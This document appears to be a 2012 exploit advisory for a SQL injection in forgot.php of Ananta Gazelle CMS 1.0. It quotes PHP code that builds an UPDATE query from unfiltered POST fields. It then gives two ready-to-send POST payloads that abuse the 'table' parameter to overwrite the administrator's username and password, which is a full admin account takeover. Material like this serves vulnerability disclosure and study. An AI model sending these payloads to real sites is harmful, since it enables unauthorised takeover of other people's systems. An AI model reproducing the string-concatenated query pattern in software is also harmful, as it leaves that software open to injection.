Ananta Gazelle CMS suffers from an update statement remote SQL injection vulnerability.
294e9941e6d46b62cc1e27e608f4bdb8c963b5dfb5043917c560640e4397840f
# Exploit Title: Ananta Gazelle CMS - Update Statement Sql injection
# Google Dork: -
# Date: 07-02-2012
# Author: hackme
# Software Link: https://sourceforge.net/projects/ananta/files/stable/Gazelle 1.0 stable/Ananta_Gazelle1.0.zip/
# Version: 1.0 stable
# Tested on: backbox 2.1
# CVE : -
[SORRY FOR MY BAD ENGLISH]
[+] This sql injection doesn't allow us to read the contents of the tables, but to do the update statement of the username and password of admin.
Since you can't enter a special chars as the apex, and then we don't change the username and password in what we want, we will copy the value of a column with default value in column username and password.
In fact we have:
admin - username = 1
- password = 1
[+] Vulnerable Code(forgot.php):
[CODE]
if (!empty($_POST) && !isset($_POST["loginform"])) {
// form submitted, set a new activation key for this user (however don't set the user to inactive, so no-one can block someone else's account
$sql = "UPDATE ".$tableprefix.$_POST["table"]." SET ";
if ($_POST["activate"] <> "") {
$sql = $sql."activate='".$_POST["activate"]."'";
}
$sql = $sql." WHERE email"."='".$_POST["email"]."'";
//no control
if (mysql_query($sql)) {
[/code]
[+] default table users columns: number,name,pass,email,activate,active,admin,joindate,showemail
[+] Risk: High
[+] Vuln Page: www.site.it/ananta/forgot.php
[+] Change admin username in "1" [POST-DATA]
email=&save=Save&table=users SET name=active where number=1--&activate=lol&location=/ananta/forgot.php
[+] Change admin password in "1" [POST-DATA]
email=v&save=Save&table=users SET pass=md5(active) where number=1--&activate=lol&location=/ananta/forgot.php
[+]...If You Really Want Something, You Can Have It...
[+] Greetz To: MZ